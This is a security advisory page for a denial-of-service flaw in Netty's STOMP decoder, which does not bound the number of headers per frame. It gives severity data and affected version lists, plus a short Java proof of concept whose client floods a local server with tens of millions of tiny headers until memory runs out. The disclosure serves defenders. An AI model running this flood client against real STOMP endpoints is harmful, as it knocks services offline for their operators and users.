GHSA-vhch-2wf3-m8rp

Suggest an improvement
Source
https://github.com/advisories/GHSA-vhch-2wf3-m8rp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-vhch-2wf3-m8rp/GHSA-vhch-2wf3-m8rp.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-vhch-2wf3-m8rp
Aliases
Downstream
CGA (84)
MINI (10)
Published
2026-07-14T20:16:34Z
Modified
2026-08-24T00:36:46Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder
Details

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}

public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Database specific 
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-07-14T20:16:34Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Maven / io.netty:netty-codec-stomp

Package

Name
io.netty:netty-codec-stomp
View open source insights on deps.dev
Purl
pkg:maven/io.netty/netty-codec-stomp

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.2.0.Alpha1
Fixed
4.2.16.Final

Affected versions

4.*
4.2.0.Alpha1
4.2.0.Alpha2
4.2.0.Alpha3
4.2.0.Alpha4
4.2.0.Alpha5
4.2.0.Beta1
4.2.0.RC1
4.2.0.RC2
4.2.0.RC3
4.2.0.RC4
4.2.0.Final
4.2.1.Final
4.2.2.Final
4.2.3.Final
4.2.4.Final
4.2.5.Final
4.2.6.Final
4.2.7.Final
4.2.8.Final
4.2.9.Final
4.2.10.Final
4.2.11.Final
4.2.12.Final
4.2.13.Final
4.2.14.Final
4.2.15.Final

Database specific

last_known_affected_version_range 
"<= 4.2.15.Final"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-vhch-2wf3-m8rp/GHSA-vhch-2wf3-m8rp.json"

Maven / io.netty:netty-codec-stomp

Package

Name
io.netty:netty-codec-stomp
View open source insights on deps.dev
Purl
pkg:maven/io.netty/netty-codec-stomp

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
4.1.136.Final

Affected versions

4.*
4.1.0.Beta1
4.1.0.Beta2
4.1.0.Beta3
4.1.0.Beta4
4.1.0.Beta5
4.1.0.Beta6
4.1.0.Beta7
4.1.0.Beta8
4.1.0.CR1
4.1.0.CR2
4.1.0.CR3
4.1.0.CR4
4.1.0.CR5
4.1.0.CR6
4.1.0.CR7
4.1.0.Final
4.1.1.Final
4.1.2.Final
4.1.3.Final
4.1.4.Final
4.1.5.Final
4.1.6.Final
4.1.7.Final
4.1.8.Final
4.1.9.Final
4.1.10.Final
4.1.11.Final
4.1.12.Final
4.1.13.Final
4.1.14.Final
4.1.15.Final
4.1.16.Final
4.1.17.Final
4.1.18.Final
4.1.19.Final
4.1.20.Final
4.1.21.Final
4.1.22.Final
4.1.23.Final
4.1.24.Final
4.1.25.Final
4.1.26.Final
4.1.27.Final
4.1.28.Final
4.1.29.Final
4.1.30.Final
4.1.31.Final
4.1.32.Final
4.1.33.Final
4.1.34.Final
4.1.35.Final
4.1.36.Final
4.1.37.Final
4.1.38.Final
4.1.39.Final
4.1.40.Final
4.1.41.Final
4.1.42.Final
4.1.43.Final
4.1.44.Final
4.1.45.Final
4.1.46.Final
4.1.47.Final
4.1.48.Final
4.1.49.Final
4.1.50.Final
4.1.51.Final
4.1.52.Final
4.1.53.Final
4.1.54.Final
4.1.55.Final
4.1.56.Final
4.1.57.Final
4.1.58.Final
4.1.59.Final
4.1.60.Final
4.1.61.Final
4.1.62.Final
4.1.63.Final
4.1.64.Final
4.1.65.Final
4.1.66.Final
4.1.67.Final
4.1.68.Final
4.1.69.Final
4.1.70.Final
4.1.71.Final
4.1.72.Final
4.1.73.Final
4.1.74.Final
4.1.75.Final
4.1.76.Final
4.1.77.Final
4.1.78.Final
4.1.79.Final
4.1.80.Final
4.1.81.Final
4.1.82.Final
4.1.83.Final
4.1.84.Final
4.1.85.Final
4.1.86.Final
4.1.87.Final
4.1.88.Final
4.1.89.Final
4.1.90.Final
4.1.91.Final
4.1.92.Final
4.1.93.Final
4.1.94.Final
4.1.95.Final
4.1.96.Final
4.1.97.Final
4.1.98.Final
4.1.99.Final
4.1.100.Final
4.1.101.Final
4.1.102.Final
4.1.103.Final
4.1.104.Final
4.1.105.Final
4.1.106.Final
4.1.107.Final
4.1.108.Final
4.1.109.Final
4.1.110.Final
4.1.111.Final
4.1.112.Final
4.1.113.Final
4.1.114.Final
4.1.115.Final
4.1.116.Final
4.1.117.Final
4.1.118.Final
4.1.119.Final
4.1.120.Final
4.1.121.Final
4.1.122.Final
4.1.123.Final
4.1.124.Final
4.1.125.Final
4.1.126.Final
4.1.127.Final
4.1.128.Final
4.1.129.Final
4.1.130.Final
4.1.131.Final
4.1.132.Final
4.1.133.Final
4.1.134.Final
4.1.135.Final

Database specific

last_known_affected_version_range 
"<= 4.1.135.Final"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-vhch-2wf3-m8rp/GHSA-vhch-2wf3-m8rp.json"